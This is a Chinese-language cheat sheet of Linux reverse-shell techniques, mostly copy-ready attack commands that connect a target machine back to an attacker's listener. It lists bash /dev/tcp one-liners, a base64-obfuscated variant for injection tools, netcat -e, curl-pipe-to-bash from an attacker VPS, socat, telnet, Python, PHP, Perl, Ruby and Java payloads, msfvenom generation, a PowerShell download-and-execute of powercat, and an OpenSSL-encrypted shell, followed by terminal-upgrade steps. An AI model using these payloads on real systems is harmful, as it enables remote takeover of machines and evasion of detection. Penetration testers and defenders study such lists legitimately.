Linux反弹shell归纳
注意:若是实战环境,反弹shell目标需要为公网ip。(搭服务器)
Bash反弹shell
bash重定向,优先使用。
bash -c "bash -i >& /dev/tcp/192.168.66.138/1111 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
以下是针对Bash反弹一句话进行了拆分说明:
命令 | 命令详解 |
---|---|
bash -i | 产生一个bash交互环境。 |
>& | 将联合符号前面的内容与后面相结合,然后一起重定向给后者。 |
/dev/tcp/47.xxx.xxx.72/2333 | Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 |
0>&1 | 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。 |
Bash反弹一句完整的解读过程就是:
Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。
1、开启本地监听
nc -lvvp 1111
2、目标机反弹连接攻击机
bash -c "bash -i >& /dev/tcp/192.168.66.138/1111 0>&1"
注意:利用工具写入反弹shell时,命令如下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY2LjEzOC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}
其中,加密部分为bash -i >& /dev/tcp/192.168.66.138/1111 0>&1的base64编码。IP、端口修改时需重新进行base64加密
netcat反弹shell
1、linux默认自带netcat工具,但是反弹shell功能-e参数通常被阉割,需要手动下载二进制安装包。
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean
2、攻击机开启本地监听
netcat -lvvp 1111
3、目标机主动连接攻击机
netcat 192.168.66.138 1111 -e /bin/bash
# netcat <攻击机IP> <攻击机监听的端口> -e /bin/bash
Curl+Bash反弹shell
借助Linux管道命令。
1、在攻击者vps(公网)的web目录里面创建一个index文件(index.php或index.html),内容如下:
bash -i >& /dev/tcp/192.168.66.138/1111 0>&1
2、开启本地监听
nc -lvvp 1111
3、在目标机器上执行如下代码,即可反弹shell
curl 192.168.66.138|bash
curl IP | bash中的IP可以是任何形式(十进制、十六进制、八进制、二进制等)
Socat反弹shell
1、安装
apt-get install socat
2、攻击机开启本地监听
socat TCP-LISTEN:1111 -
或nc -lvvp 1111
3、目标机主动连接攻击机
socat tcp-connect:192.168.66.138:1111 exec:'bash -li',pty,stderr,setsid,sigint,sane
Telnet反弹shell
当nc和/dev/tcp不可用时,且目标机和攻击机都开启telnet(23端口)服务时,可用telnet反弹shell。
方法一:
1、攻击机开启本地监听:
nc -lvvp 1111
2、目标机主动连接攻击机
mknod a p;telnet 192.168.66.138 1111 0<a | /bin/bash 1>a
方法二:
1、攻击机开启两个本地监听:
nc -lvvp 1111
nc -lvvp 2222
2、目标机主动连接攻击机:
telnet 192.168.66.138 1111 | /bin/bash | telnet 192.168.66.138 2222
3、攻击机1111端口执行命令,2222端口回显命令
Python脚本反弹shell
1、攻击机开启本地监听
nc -lvvp 1111
2、目标机主动连接攻击机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.66.138",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP脚本反弹shell
1、攻击机开启本地监听
nc -lvvp 1111
2、目标机主动连接攻击机:
php -r '$sock=fsockopen("192.168.66.138",1111);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl脚本反弹shell(后缀.pl)
1、攻击机开启本地监听
nc -lvvp 1111
2、目标机主动连接攻击机
perl -e 'use Socket;$i="192.168.66.138";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby脚本反弹shell(后缀.rb)
1、攻击机开启本地监听
nc -lvvp 1111
2、目标机主动连接攻击机
ruby -rsocket -e 'c=TCPSocket.new("192.168.66.138","1111");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.66.138","1111");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
JAVA反弹shell
1、攻击机开启本地监听
nc -lvvp 1111
2、目标机主动连接攻击机
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.x.x/1111;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Metasploit生成反弹shell
1、自动生成反弹一句话
msfvenom -p cmd/unix/reverse_python LHOST=192.168.66.138 LPORT=1111 -f raw
其中,cmd/unix/reverse_python为python类型反弹命令,其他类型直接更改_后缀即可,如cmd/unix/reverse_perl生成perl反弹shell
2、将生成的反弹shell直接在目标机器上执行即可
Powershell反弹shell
# 下载脚本执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.21.112 -p 9999 -e cmd
# 下载powercat执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999
OpenSSL反弹加密shell
1、攻击机生成自签名证书:(填写信息全部回车即可)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2、在攻击机上使用OpenSSL监听一个端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 1111
3、在目标机上进行反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.66.138:1111 > /tmp/s; rm /tmp/s
反弹shell后获取模拟终端
上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是往往会发现其交互性非常的差,回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。
1、获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行sudo等命令,无法完成。
2、标准的错误输出无法显示,无法正常使用vim等文本编辑器等。
3、获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。
若是无法完成正常交互,则需要使用python模拟终端设备,命令如下:
python -c "import pty;pty.spawn('/bin/bash')"